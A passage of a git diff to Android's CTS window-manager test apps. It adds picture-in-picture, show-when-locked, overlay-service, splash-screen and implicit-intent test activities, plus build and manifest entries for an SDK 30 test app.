+public class LaunchIntoPinnedStackPipActivity extends PipActivity {
     @Override
     protected void onResume() {
         super.onResume();
diff --git a/tests/framework/base/windowmanager/app/src/android/server/wm/app/LaunchPipOnPipActivity.java b/tests/framework/base/windowmanager/app/src/android/server/wm/app/LaunchPipOnPipActivity.java
index fd44271..9b955ae 100644
--- a/tests/framework/base/windowmanager/app/src/android/server/wm/app/LaunchPipOnPipActivity.java
+++ b/tests/framework/base/windowmanager/app/src/android/server/wm/app/LaunchPipOnPipActivity.java
@@ -16,11 +16,9 @@
 
 package android.server.wm.app;
 
-import android.app.Activity;
-import android.content.pm.PackageManager;
 import android.content.res.Configuration;
 
-public class LaunchPipOnPipActivity extends Activity {
+public class LaunchPipOnPipActivity extends PipActivity {
 
     @Override
     public void onPictureInPictureModeChanged(boolean isInPictureInPictureMode,
diff --git a/tests/framework/base/windowmanager/app/src/android/server/wm/app/NoHistoryActivity.java b/tests/framework/base/windowmanager/app/src/android/server/wm/app/NoHistoryActivity.java
index 83f0587..edf727a 100644
--- a/tests/framework/base/windowmanager/app/src/android/server/wm/app/NoHistoryActivity.java
+++ b/tests/framework/base/windowmanager/app/src/android/server/wm/app/NoHistoryActivity.java
@@ -16,8 +16,21 @@
 
 package android.server.wm.app;
 
+import android.os.Bundle;
+
 /**
  * An activity that has the noHistory flag set.
  */
 public class NoHistoryActivity extends AbstractLifecycleLogActivity {
+
+    @Override
+    protected void onCreate(Bundle icicle) {
+        super.onCreate(icicle);
+
+        if (getIntent().getBooleanExtra(Components.NoHistoryActivity.EXTRA_SHOW_WHEN_LOCKED,
+                false)) {
+            setShowWhenLocked(true);
+            setTurnScreenOn(true);
+        }
+    }
 }
diff --git a/tests/framework/base/windowmanager/app/src/android/server/wm/app/OverlayTestService.java b/tests/framework/base/windowmanager/app/src/android/server/wm/app/OverlayTestService.java
new file mode 100644
index 0000000..3cc4526
--- /dev/null
+++ b/tests/framework/base/windowmanager/app/src/android/server/wm/app/OverlayTestService.java
@@ -0,0 +1,85 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm.app;
+
+import static android.server.wm.app.Components.OverlayTestService.EXTRA_LAYOUT_PARAMS;
+
+import android.app.Notification;
+import android.app.NotificationChannel;
+import android.app.NotificationManager;
+import android.app.Service;
+import android.content.Intent;
+import android.graphics.Color;
+import android.os.IBinder;
+import android.view.View;
+import android.view.WindowManager;
+import android.view.WindowManager.LayoutParams;
+
+public class OverlayTestService extends Service {
+    private WindowManager mWindowManager;
+    private View mView;
+
+    @Override
+    public void onCreate() {
+        super.onCreate();
+        mWindowManager = getSystemService(WindowManager.class);
+    }
+
+    @Override
+    public IBinder onBind(Intent intent) {
+        return null;
+    }
+
+    @Override
+    public int onStartCommand(Intent intent, int flags, int startId) {
+        if (intent != null && intent.hasExtra(EXTRA_LAYOUT_PARAMS)) {
+            // Have to be a foreground service since this app is in the background
+            startForeground();
+            addWindow(intent.getParcelableExtra(EXTRA_LAYOUT_PARAMS));
+        }
+        return START_NOT_STICKY;
+    }
+
+    private void addWindow(final LayoutParams params) {
+        mView = new View(this);
+        mView.setBackgroundColor(Color.RED);
+        mWindowManager.addView(mView, params);
+    }
+
+    @Override
+    public void onDestroy() {
+        super.onDestroy();
+        if (mView != null) {
+            mWindowManager.removeViewImmediate(mView);
+            mView = null;
+        }
+    }
+
+    private void startForeground() {
+        String channel = Components.Notifications.CHANNEL_MAIN;
+        NotificationManager notificationManager = getSystemService(NotificationManager.class);
+        notificationManager.createNotificationChannel(
+                new NotificationChannel(channel, channel, NotificationManager.IMPORTANCE_DEFAULT));
+        Notification notification =
+                new Notification.Builder(this, channel)
+                        .setContentTitle("CTS")
+                        .setContentText(getClass().getCanonicalName())
+                        .setSmallIcon(android.R.drawable.btn_default)
+                        .build();
+        startForeground(Components.Notifications.ID_OVERLAY_TEST_SERVICE, notification);
+    }
+}
diff --git a/tests/framework/base/windowmanager/app/src/android/server/wm/app/PipActivity.java b/tests/framework/base/windowmanager/app/src/android/server/wm/app/PipActivity.java
index 26f7b1e..5778ac2 100644
--- a/tests/framework/base/windowmanager/app/src/android/server/wm/app/PipActivity.java
+++ b/tests/framework/base/windowmanager/app/src/android/server/wm/app/PipActivity.java
@@ -16,15 +16,13 @@
 
 package android.server.wm.app;
 
-import static android.app.WindowConfiguration.WINDOWING_MODE_PINNED;
-import static android.content.Intent.FLAG_ACTIVITY_CLEAR_TASK;
-import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
 import static android.server.wm.app.Components.PipActivity.ACTION_ENTER_PIP;
 import static android.server.wm.app.Components.PipActivity.ACTION_EXPAND_PIP;
 import static android.server.wm.app.Components.PipActivity.ACTION_FINISH;
 import static android.server.wm.app.Components.PipActivity.ACTION_MOVE_TO_BACK;
 import static android.server.wm.app.Components.PipActivity.ACTION_ON_PIP_REQUESTED;
 import static android.server.wm.app.Components.PipActivity.ACTION_SET_REQUESTED_ORIENTATION;
+import static android.server.wm.app.Components.PipActivity.EXTRA_ALLOW_AUTO_PIP;
 import static android.server.wm.app.Components.PipActivity.EXTRA_ASSERT_NO_ON_STOP_BEFORE_PIP;
 import static android.server.wm.app.Components.PipActivity.EXTRA_DISMISS_KEYGUARD;
 import static android.server.wm.app.Components.PipActivity.EXTRA_ENTER_PIP;
@@ -34,6 +32,7 @@
 import static android.server.wm.app.Components.PipActivity.EXTRA_ENTER_PIP_ON_PIP_REQUESTED;
 import static android.server.wm.app.Components.PipActivity.EXTRA_ENTER_PIP_ON_USER_LEAVE_HINT;
 import static android.server.wm.app.Components.PipActivity.EXTRA_FINISH_SELF_ON_RESUME;
+import static android.server.wm.app.Components.PipActivity.EXTRA_NUMBER_OF_CUSTOM_ACTIONS;
 import static android.server.wm.app.Components.PipActivity.EXTRA_ON_PAUSE_DELAY;
 import static android.server.wm.app.Components.PipActivity.EXTRA_PIP_ORIENTATION;
 import static android.server.wm.app.Components.PipActivity.EXTRA_SET_ASPECT_RATIO_DENOMINATOR;
@@ -42,19 +41,21 @@
 import static android.server.wm.app.Components.PipActivity.EXTRA_SET_ASPECT_RATIO_WITH_DELAY_NUMERATOR;
 import static android.server.wm.app.Components.PipActivity.EXTRA_SHOW_OVER_KEYGUARD;
 import static android.server.wm.app.Components.PipActivity.EXTRA_START_ACTIVITY;
+import static android.server.wm.app.Components.PipActivity.EXTRA_IS_SEAMLESS_RESIZE_ENABLED;
 import static android.server.wm.app.Components.PipActivity.EXTRA_TAP_TO_FINISH;
 import static android.view.WindowManager.LayoutParams.FLAG_DISMISS_KEYGUARD;
 
 import android.app.Activity;
-import android.app.ActivityOptions;
+import android.app.PendingIntent;
 import android.app.PictureInPictureParams;
+import android.app.RemoteAction;
 import android.content.BroadcastReceiver;
 import android.content.ComponentName;
 import android.content.Context;
 import android.content.Intent;
 import android.content.IntentFilter;
 import android.content.res.Configuration;
-import android.graphics.Rect;
+import android.graphics.drawable.Icon;
 import android.os.Bundle;
 import android.os.Handler;
 import android.os.SystemClock;
@@ -62,6 +63,9 @@
 import android.util.Log;
 import android.util.Rational;
 
+import java.util.ArrayList;
+import java.util.List;
+
 public class PipActivity extends AbstractLifecycleLogActivity {
 
     private boolean mEnteredPictureInPicture;
@@ -169,6 +173,20 @@
             }
         }
 
+        final PictureInPictureParams.Builder sharedBuilder = new PictureInPictureParams.Builder();
+        boolean sharedBuilderChanged = false;
+
+        if (getIntent().hasExtra(EXTRA_ALLOW_AUTO_PIP)) {
+            sharedBuilder.setAutoEnterEnabled(true);
+            sharedBuilderChanged = true;
+        }
+
+        if (getIntent().hasExtra(EXTRA_IS_SEAMLESS_RESIZE_ENABLED)) {
+            sharedBuilder.setSeamlessResizeEnabled(
+                    getIntent().getBooleanExtra(EXTRA_IS_SEAMLESS_RESIZE_ENABLED, true));
+            sharedBuilderChanged = true;
+        }
+
         // Enable tap to finish if necessary
         if (getIntent().hasExtra(EXTRA_TAP_TO_FINISH)) {
             setContentView(R.layout.tap_to_finish_pip_layout);
@@ -185,6 +203,22 @@
             startActivity(launchIntent);
         }
 
+        // Set custom actions if requested
+        if (getIntent().hasExtra(EXTRA_NUMBER_OF_CUSTOM_ACTIONS)) {
+            final int numberOfCustomActions = Integer.valueOf(
+                    getIntent().getStringExtra(EXTRA_NUMBER_OF_CUSTOM_ACTIONS));
+            final List<RemoteAction> actions = new ArrayList<>(numberOfCustomActions);
+            for (int i = 0; i< numberOfCustomActions; i++) {
+                actions.add(createRemoteAction(i));
+            }
+            sharedBuilder.setActions(actions);
+            sharedBuilderChanged = true;
+        }
+
+        if (sharedBuilderChanged) {
+            setPictureInPictureParams(sharedBuilder.build());
+        }
+
         // Register the broadcast receiver
         IntentFilter filter = new IntentFilter();
         filter.addAction(ACTION_ENTER_PIP);
@@ -292,20 +326,6 @@
     }
 
     /**
-     * Launches a new instance of the PipActivity directly into the pinned stack.
-     */
-    static void launchActivityIntoPinnedStack(Activity caller, Rect bounds) {
-        final Intent intent = new Intent(caller, PipActivity.class);
-        intent.setFlags(FLAG_ACTIVITY_CLEAR_TASK | FLAG_ACTIVITY_NEW_TASK);
-        intent.putExtra(EXTRA_ASSERT_NO_ON_STOP_BEFORE_PIP, "true");
-
-        final ActivityOptions options = ActivityOptions.makeBasic();
-        options.setLaunchBounds(bounds);
-        options.setLaunchWindowingMode(WINDOWING_MODE_PINNED);
-        caller.startActivity(intent, options.toBundle());
-    }
-
-    /**
      * Launches a new instance of the PipActivity in the same task that will automatically enter
      * PiP.
      */
@@ -324,4 +344,12 @@
                 Integer.valueOf(intent.getStringExtra(extraNum)),
                 Integer.valueOf(intent.getStringExtra(extraDenom)));
     }
+
+    /** @return {@link RemoteAction} instance titled after a given index */
+    private RemoteAction createRemoteAction(int index) {
+        return new RemoteAction(Icon.createWithResource(this, R.drawable.red),
+                "action " + index,
+                "contentDescription " + index,
+                PendingIntent.getBroadcast(this, 0, new Intent(), PendingIntent.FLAG_IMMUTABLE));
+    }
 }
diff --git a/tests/framework/base/windowmanager/app/src/android/server/wm/app/ShowWhenLockedAttrNoPreviewActivity.java b/tests/framework/base/windowmanager/app/src/android/server/wm/app/ShowWhenLockedAttrNoPreviewActivity.java
new file mode 100644
index 0000000..6db6a81
--- /dev/null
+++ b/tests/framework/base/windowmanager/app/src/android/server/wm/app/ShowWhenLockedAttrNoPreviewActivity.java
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.wm.app;
+
+public class ShowWhenLockedAttrNoPreviewActivity extends AbstractLifecycleLogActivity {
+}
diff --git a/tests/framework/base/windowmanager/app/src/android/server/wm/app/ShowWhenLockedAttrRemoveAttrNoPreviewActivity.java b/tests/framework/base/windowmanager/app/src/android/server/wm/app/ShowWhenLockedAttrRemoveAttrNoPreviewActivity.java
new file mode 100644
index 0000000..16589cf
--- /dev/null
+++ b/tests/framework/base/windowmanager/app/src/android/server/wm/app/ShowWhenLockedAttrRemoveAttrNoPreviewActivity.java
@@ -0,0 +1,26 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.wm.app;
+
+public class ShowWhenLockedAttrRemoveAttrNoPreviewActivity extends AbstractLifecycleLogActivity {
+
+    @Override
+    protected void onStop() {
+        super.onStop();
+        setShowWhenLocked(false);
+    }
+}
diff --git a/tests/framework/base/windowmanager/app/src/android/server/wm/app/ShowWhenLockedNoPreviewActivity.java b/tests/framework/base/windowmanager/app/src/android/server/wm/app/ShowWhenLockedNoPreviewActivity.java
new file mode 100644
index 0000000..68c7b80
--- /dev/null
+++ b/tests/framework/base/windowmanager/app/src/android/server/wm/app/ShowWhenLockedNoPreviewActivity.java
@@ -0,0 +1,28 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.wm.app;
+
+import android.os.Bundle;
+import android.view.WindowManager;
+
+public class ShowWhenLockedNoPreviewActivity extends BroadcastReceiverActivity {
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        getWindow().addFlags(WindowManager.LayoutParams.FLAG_SHOW_WHEN_LOCKED);
+    }
+}
diff --git a/tests/framework/base/windowmanager/app/src/android/server/wm/app/ShowWhenLockedWithDialogNoPreviewActivity.java b/tests/framework/base/windowmanager/app/src/android/server/wm/app/ShowWhenLockedWithDialogNoPreviewActivity.java
new file mode 100644
index 0000000..443aca6
--- /dev/null
+++ b/tests/framework/base/windowmanager/app/src/android/server/wm/app/ShowWhenLockedWithDialogNoPreviewActivity.java
@@ -0,0 +1,34 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.wm.app;
+
+import android.app.Activity;
+import android.app.AlertDialog;
+import android.os.Bundle;
+import android.view.WindowManager;
+
+public class ShowWhenLockedWithDialogNoPreviewActivity extends Activity {
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        getWindow().addFlags(WindowManager.LayoutParams.FLAG_SHOW_WHEN_LOCKED);
+        new AlertDialog.Builder(this)
+                .setTitle("Dialog")
+                .show();
+    }
+}
diff --git a/tests/framework/base/windowmanager/app/src/android/server/wm/app/SingleTopActivity.java b/tests/framework/base/windowmanager/app/src/android/server/wm/app/SingleTopActivity.java
new file mode 100644
index 0000000..0be41e7
--- /dev/null
+++ b/tests/framework/base/windowmanager/app/src/android/server/wm/app/SingleTopActivity.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.wm.app;
+
+import android.app.Activity;
+
+public class SingleTopActivity extends Activity {
+}
diff --git a/tests/framework/base/windowmanager/app/src/android/server/wm/app/SplashScreenReplaceIconActivity.java b/tests/framework/base/windowmanager/app/src/android/server/wm/app/SplashScreenReplaceIconActivity.java
new file mode 100644
index 0000000..c8e72b2
--- /dev/null
+++ b/tests/framework/base/windowmanager/app/src/android/server/wm/app/SplashScreenReplaceIconActivity.java
@@ -0,0 +1,77 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm.app;
+
+import static android.server.wm.app.Components.TestStartingWindowKeys.CANCEL_HANDLE_EXIT;
+import static android.server.wm.app.Components.TestStartingWindowKeys.CONTAINS_CENTER_VIEW;
+import static android.server.wm.app.Components.TestStartingWindowKeys.DELAY_RESUME;
+import static android.server.wm.app.Components.TestStartingWindowKeys.ICON_ANIMATION_DURATION;
+import static android.server.wm.app.Components.TestStartingWindowKeys.ICON_ANIMATION_START;
+import static android.server.wm.app.Components.TestStartingWindowKeys.RECEIVE_SPLASH_SCREEN_EXIT;
+import static android.server.wm.app.Components.TestStartingWindowKeys.REPLACE_ICON_EXIT;
+import static android.server.wm.app.Components.TestStartingWindowKeys.REQUEST_HANDLE_EXIT_ON_CREATE;
+
+import android.app.Activity;
+import android.content.Context;
+import android.os.Bundle;
+import android.os.SystemClock;
+import android.server.wm.TestJournalProvider;
+import android.util.Log;
+import android.view.View;
+import android.window.SplashScreen;
+import android.window.SplashScreenView;
+
+public class SplashScreenReplaceIconActivity extends Activity {
+    private SplashScreen mSSM;
+    private final SplashScreen.OnExitAnimationListener mSplashScreenExitHandler=
+            this::onSplashScreenExit;
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        mSSM = getSplashScreen();
+        if (getIntent().getBooleanExtra(REQUEST_HANDLE_EXIT_ON_CREATE, false)) {
+            mSSM.setOnExitAnimationListener(mSplashScreenExitHandler);
+            SystemClock.sleep(500);
+        }
+        if (getIntent().getBooleanExtra(DELAY_RESUME, false)) {
+            SystemClock.sleep(5000);
+        }
+    }
+
+    @Override
+    public void onResume() {
+        super.onResume();
+        if (getIntent().getBooleanExtra(CANCEL_HANDLE_EXIT, false)) {
+            mSSM.clearOnExitAnimationListener();
+        }
+    }
+
+    private void onSplashScreenExit(SplashScreenView view) {
+        final Context baseContext = getBaseContext();
+        final View centerView = view.getIconView();
+        TestJournalProvider.putExtras(baseContext, REPLACE_ICON_EXIT, bundle -> {
+            bundle.putBoolean(RECEIVE_SPLASH_SCREEN_EXIT, true);
+            bundle.putBoolean(CONTAINS_CENTER_VIEW, centerView != null);
+            bundle.putLong(ICON_ANIMATION_DURATION, view.getIconAnimationDuration() != null
+                    ? view.getIconAnimationDuration().toMillis() : 0);
+            bundle.putLong(ICON_ANIMATION_START, view.getIconAnimationStart() != null
+                    ? view.getIconAnimationStart().toEpochMilli() : 0);
+        });
+        view.remove();
+    }
+}
diff --git a/tests/framework/base/windowmanager/app/src/android/server/wm/app/TurnScreenOnActivity.java b/tests/framework/base/windowmanager/app/src/android/server/wm/app/TurnScreenOnActivity.java
index b013fde..48eb6e3 100644
--- a/tests/framework/base/windowmanager/app/src/android/server/wm/app/TurnScreenOnActivity.java
+++ b/tests/framework/base/windowmanager/app/src/android/server/wm/app/TurnScreenOnActivity.java
@@ -26,12 +26,18 @@
         super.onCreate(savedInstanceState);
 
         getWindow().addFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON);
+        final boolean useShowWhenLocked = getIntent().getBooleanExtra(
+                Components.TurnScreenOnActivity.EXTRA_SHOW_WHEN_LOCKED, true /* defaultValue */);
         if (getIntent().getBooleanExtra(Components.TurnScreenOnActivity.EXTRA_USE_WINDOW_FLAGS,
                 false /* defaultValue */)) {
-            getWindow().addFlags(WindowManager.LayoutParams.FLAG_SHOW_WHEN_LOCKED
-                  | WindowManager.LayoutParams.FLAG_TURN_SCREEN_ON);
+            getWindow().addFlags(WindowManager.LayoutParams.FLAG_TURN_SCREEN_ON);
+            if (useShowWhenLocked) {
+                getWindow().addFlags(WindowManager.LayoutParams.FLAG_SHOW_WHEN_LOCKED);
+            }
         } else {
-            setShowWhenLocked(true);
+            if (useShowWhenLocked) {
+                setShowWhenLocked(true);
+            }
             setTurnScreenOn(true);
         }
 
diff --git a/tests/framework/base/windowmanager/app/src/android/server/wm/app/UiScalingTestActivity.java b/tests/framework/base/windowmanager/app/src/android/server/wm/app/UiScalingTestActivity.java
new file mode 100644
index 0000000..abcfb10
--- /dev/null
+++ b/tests/framework/base/windowmanager/app/src/android/server/wm/app/UiScalingTestActivity.java
@@ -0,0 +1,27 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm.app;
+
+import android.os.Bundle;
+
+public class UiScalingTestActivity extends TestActivity {
+    @Override
+    protected void onCreate(Bundle icicle) {
+        super.onCreate(icicle);
+        setContentView(R.layout.simple_ui_elements);
+    }
+}
diff --git a/tests/framework/base/windowmanager/app30/Android.bp b/tests/framework/base/windowmanager/app30/Android.bp
new file mode 100644
index 0000000..55e101f
--- /dev/null
+++ b/tests/framework/base/windowmanager/app30/Android.bp
@@ -0,0 +1,33 @@
+// Copyright (C) 2021 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test {
+    name: "CtsDeviceServicesTestApp30",
+    defaults: ["cts_support_defaults"],
+
+    static_libs: ["cts-wm-app-base"],
+
+    srcs: ["src/**/*.java"],
+
+    sdk_version: "30",
+
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+}
diff --git a/tests/framework/base/windowmanager/app30/AndroidManifest.xml b/tests/framework/base/windowmanager/app30/AndroidManifest.xml
new file mode 100755
index 0000000..0a8eee1
--- /dev/null
+++ b/tests/framework/base/windowmanager/app30/AndroidManifest.xml
@@ -0,0 +1,29 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.server.wm.app30">
+
+    <application android:label="App30"
+                 android:debuggable="true">
+
+        <activity android:name="android.server.wm.app.TestActivity"
+                  android:exported="true"
+        />
+
+    </application>
+</manifest>
diff --git a/tests/framework/base/windowmanager/app30/src/android/server/wm/app30/Components.java b/tests/framework/base/windowmanager/app30/src/android/server/wm/app30/Components.java
new file mode 100644
index 0000000..e1cc50f
--- /dev/null
+++ b/tests/framework/base/windowmanager/app30/src/android/server/wm/app30/Components.java
@@ -0,0 +1,28 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm.app30;
+
+import static android.server.wm.app.Components.TEST_ACTIVITY;
+
+import android.content.ComponentName;
+import android.server.wm.component.ComponentsBase;
+
+public class Components extends ComponentsBase {
+
+    public static final ComponentName SDK_30_TEST_ACTIVITY =
+            component(Components.class, TEST_ACTIVITY.getClassName());
+}
diff --git a/tests/framework/base/windowmanager/appSecondUid/Android.bp b/tests/framework/base/windowmanager/appSecondUid/Android.bp
index d0fa396..51e4642 100644
--- a/tests/framework/base/windowmanager/appSecondUid/Android.bp
+++ b/tests/framework/base/windowmanager/appSecondUid/Android.bp
@@ -20,7 +20,10 @@
     name: "CtsDeviceServicesTestSecondApp",
     defaults: ["cts_support_defaults"],
 
-    static_libs: ["cts-wm-app-base"],
+    static_libs: [
+        "cts-wm-app-base",
+        "cts-wm-overlayapp-base"
+    ],
 
     srcs: ["src/**/*.java"],
 
diff --git a/tests/framework/base/windowmanager/appSecondUid/AndroidManifest.xml b/tests/framework/base/windowmanager/appSecondUid/AndroidManifest.xml
index f870a59..c926a97 100644
--- a/tests/framework/base/windowmanager/appSecondUid/AndroidManifest.xml
+++ b/tests/framework/base/windowmanager/appSecondUid/AndroidManifest.xml
@@ -37,6 +37,16 @@
             android:name=".TestActivityWithSameAffinityDifferentUid"
             android:taskAffinity="nobody.but.TestActivityWithSameAffinity"
             android:exported="true" />
+        <activity
+            android:name="android.server.wm.second.ImplicitTargetActivity"
+            android:resizeableActivity="true"
+            android:allowEmbedded="true"
+            android:exported="true">
+            <intent-filter>
+                <action android:name="android.server.wm.second.TEST_ACTION" />
+                <category android:name="android.intent.category.DEFAULT" />
+            </intent-filter>
+        </activity>
         <receiver
             android:name=".LaunchBroadcastReceiver"
             android:enabled="true"
diff --git a/tests/framework/base/windowmanager/appSecondUid/src/android/server/wm/second/Components.java b/tests/framework/base/windowmanager/appSecondUid/src/android/server/wm/second/Components.java
index 338c5c8..09f611d 100644
--- a/tests/framework/base/windowmanager/appSecondUid/src/android/server/wm/second/Components.java
+++ b/tests/framework/base/windowmanager/appSecondUid/src/android/server/wm/second/Components.java
@@ -48,6 +48,11 @@
     public static final String SECOND_LAUNCH_BROADCAST_ACTION =
             getPackageName() + ".LAUNCH_BROADCAST_ACTION";
 
+    public static final String IMPLICIT_TARGET_SECOND_TEST_ACTION =
+            "android.server.wm.second.TEST_ACTION";
+    public static final ComponentName IMPLICIT_TARGET_SECOND_ACTIVITY =
+            component(Components.class, "ImplicitTargetActivity");
+
     private static ComponentName component(String className) {
         return component(Components.class, className);
     }
diff --git a/tests/framework/base/windowmanager/appSecondUid/src/android/server/wm/second/ImplicitTargetActivity.java b/tests/framework/base/windowmanager/appSecondUid/src/android/server/wm/second/ImplicitTargetActivity.java
new file mode 100644
index 0000000..ee7b8ab
--- /dev/null
+++ b/tests/framework/base/windowmanager/appSecondUid/src/android/server/wm/second/ImplicitTargetActivity.java
@@ -0,0 +1,28 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm.second;
+
+import android.app.Activity;
+
+/**
+ * A test {@link Activity} used to test launching from an implicit intent. The action to launch is
+ * android.server.wm.implicittargetapp.TEST_ACTION. Current use is in Multi-Display tests to
+ * check an {@link Activity} launches on the same display. This activity should not share an
+ * affinity with other activities to make sure the launch preferences are independent.
+ */
+public class ImplicitTargetActivity extends Activity {
+}
\ No newline at end of file
diff --git a/tests/framework/base/windowmanager/appThirdUid/Android.bp b/tests/framework/base/windowmanager/appThirdUid/Android.bp
index 9047a1b..027ac4e 100644
--- a/tests/framework/base/windowmanager/appThirdUid/Android.bp
+++ b/tests/framework/base/windowmanager/appThirdUid/Android.bp
@@ -20,7 +20,10 @@
     name: "CtsDeviceServicesTestThirdApp",
     defaults: ["cts_support_defaults"],
 
-    static_libs: ["cts-wm-app-base"],
+    static_libs: [
+        "cts-wm-app-base",
+        "cts-wm-overlayapp-base"
+    ],
 
     srcs: ["src/**/*.java"],
 
diff --git a/tests/framework/base/windowmanager/app_base/Android.bp b/tests/framework/base/windowmanager/app_base/Android.bp
index 54ff30c..71cc5bd 100644
--- a/tests/framework/base/windowmanager/app_base/Android.bp
+++ b/tests/framework/base/windowmanager/app_base/Android.bp
@@ -31,6 +31,7 @@
 
     static_libs: [
